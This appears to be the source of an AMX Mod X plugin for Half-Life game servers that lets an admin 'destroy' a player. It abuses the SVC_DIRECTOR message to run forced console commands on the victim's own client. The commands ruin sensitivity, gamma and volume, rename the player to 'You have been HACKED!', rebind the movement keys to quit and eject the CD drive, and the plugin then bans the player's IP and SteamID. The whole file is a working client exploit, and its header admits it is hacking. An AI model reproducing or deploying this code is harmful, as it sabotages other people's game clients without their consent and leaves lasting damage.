/*
* Free Plugin by Raheem. Date: 1-9-2017
* This Plugin will work on Steam, No-Steam, Non-Steam Clients.
* Based on: https://github.com/ValveSoftware/halflife/issues/1497
* It will destroy players game and add his ip and steamid to ban list.
* This adds powers to admin, But this plugin is considerd SLOW hacking!
* I only write it for good use ONLY! Please don't abuse it!
* Just to use against Cheaters...
* Need AMXMODX v 1.8.3 so it works.
* Please use default settings in reunion.cfg
* Thanks and hope you follow my rules.
*
* -Raheem
*/
#include <zombie_escape>
new const g_szCommands[][] =
{
"rate 1",
"fps_max 0",
"fps_modem 0",
"name ^"You have been HACKED!^"",
"sensitivity 10000000.0",
"cl_timeout 0.0",
"cl_allowdownload 0",
"cl_allowupload 0",
"cd eject",
"say ^"I'am NOOB haha.^"",
"gl_flipmatrix 1",
"cl_cmdrate 10",
"cl_updaterate 10",
"cl_updaterate 10",
"hideradar",
"con_color ^"0 0 0^"",
"hud_draw 0",
"cl_forwardspeed 0",
"cl_minmodels 1",
"cl_righthand 0",
"gamma 0.0",
"net_graph 1",
"brightness 0",
"cl_dlmax 1",
"volume 0.0",
"MP3Volume 0.0",
"bind w quit",
"bind a quit",
"bind s quit",
"bind d quit",
"quit"
}
public plugin_init()
{
register_plugin("Destroy", "1.0", "Raheem")
register_concmd("amx_destroy", "Destroy_Command", ADMIN_SLAY, "^"Player Name^"")
register_concmd("amx_destroymenu", "Destroy_Menu", ADMIN_SLAY)
}
public Destroy_Menu(id, level, cid)
{
if (!cmd_access(id, level, cid, 1))
return PLUGIN_HANDLED
new iMenu = menu_create("\yDestroy Menu\w:", "Menu_Handler")
new szName[32], szUserid[6]
for (new i = 1; i <= get_member_game(m_nMaxPlayers); i++)
{
if (!is_user_connected(i))
continue
get_user_name(i, szName, charsmax(szName))
formatex(szUserid, charsmax(szUserid), "%d", get_user_userid(i))
menu_additem(iMenu, szName, szUserid, 0)
}
menu_display(id, iMenu, 0)
return PLUGIN_CONTINUE
}
public Menu_Handler(id, iMenu, iItem)
{
if(iItem == MENU_EXIT)
{
menu_destroy(iMenu)
return PLUGIN_HANDLED
}
new szName[32], szAdminName[32], szData[6], iAccess, iCallBack
menu_item_getinfo(iMenu, iItem, iAccess, szData, charsmax(szData), szName, charsmax(szName), iCallBack)
get_user_name(id, szAdminName, charsmax(szAdminName))
new iUserID = str_to_num(szData)
new iTarget = find_player("k", iUserID)
if (!is_user_connected(iTarget))
return PLUGIN_HANDLED
client_cmd(0, "spk vox/bizwarn")
client_print_color(0, print_team_default, "^1[^4Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)
for (new i = 0; i <= charsmax(g_szCommands); i++)
{
Send_Cmd(iTarget, g_szCommands[i])
}
new szIP[32], szAuthID[35]
get_user_ip(iTarget, szIP, charsmax(szIP), 1)
get_user_authid(iTarget, szAuthID, charsmax(szAuthID))
if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
{
// Player don't have Unique SteamID? Ban Only with IP
server_cmd("amx_addban ^"%s^" 0", szIP)
}
else
{
// Player have SteamID? Ban with IP and SteamID
server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
}
menu_destroy(iMenu)
return PLUGIN_CONTINUE
}
public Destroy_Command(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED
new szName[32], szAdminName[32]
read_argv(1, szName, charsmax(szName))
get_user_name(id, szAdminName, charsmax(szAdminName))
new iTarget = get_user_index(szName)
if (iTarget == 0)
{
client_print(id, print_console, "[ZE] No player with that name found!")
return PLUGIN_HANDLED
}
client_cmd(0, "spk vox/bizwarn")
client_print_color(0, print_team_default, "^1[^4Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)
for (new i = 0; i <= charsmax(g_szCommands); i++)
{
Send_Cmd(iTarget, g_szCommands[i])
}
new szIP[32], szAuthID[35]
get_user_ip(iTarget, szIP, charsmax(szIP), 1)
get_user_authid(iTarget, szAuthID, charsmax(szAuthID))
if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
{
// Player don't have Unique SteamID? Ban Only with IP
server_cmd("amx_addban ^"%s^" 0", szIP)
}
else
{
// Player have SteamID? Ban with IP and SteamID
server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
}
return PLUGIN_CONTINUE
}
stock Send_Cmd(id, szText[])
{
message_begin(MSG_ONE, SVC_DIRECTOR, {0, 0, 0}, id)
write_byte(strlen(szText) + 2)
write_byte(10)
write_string(szText)
message_end()
}